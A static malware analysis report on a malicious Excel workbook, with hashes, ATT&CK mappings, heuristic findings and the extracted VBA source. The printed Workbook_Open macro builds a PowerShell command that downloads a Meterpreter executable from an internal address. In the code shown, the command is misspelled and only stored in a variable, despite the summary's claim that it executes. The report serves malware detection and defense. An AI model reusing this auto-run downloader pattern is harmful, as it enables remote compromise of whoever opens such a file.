Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42bb60581bd8e3d9…

MALICIOUS

Office (OOXML)

14.3 KB Created: 2021-09-22 10:27:06 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-01
MD5: ddfe738e750e45030ff2985dec87c00f SHA-1: a066fe5258ef1a879e88533d84cf77cb4ca6a3a6 SHA-256: 42bb60581bd8e3d94ba524f94f5e5dccd35fd6824f757a1461dc7b8b9be891b8
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro constructs and executes a PowerShell command to download a file named 'enc_meterpreter.exe' from the URL http://10.0.10.101/enc_meterpreter_256.exe. This indicates a macro-based downloader designed to fetch and execute a second-stage payload, likely a Meterpreter executable.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.0.10.101/enc_meterpreter_256.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1141 bytes
SHA-256: e8058351ca4aedd884cbeb4e1d57a86da72d3fbed96a9560cd6c875a405a3282
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
 Dim str As String
 str = "powershell (Ner-Object Net.WebClient).DownloadFile('http://10.0.10.101/enc_meterpreter_256.exe',enc_meterpreter.exe)"
 Application.Wait (Now + TimeValue("0:00:05"))
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: 3155d67533fc38a84a514b65771e70687815a548aa895d4c0a3e17f88e15ccb4

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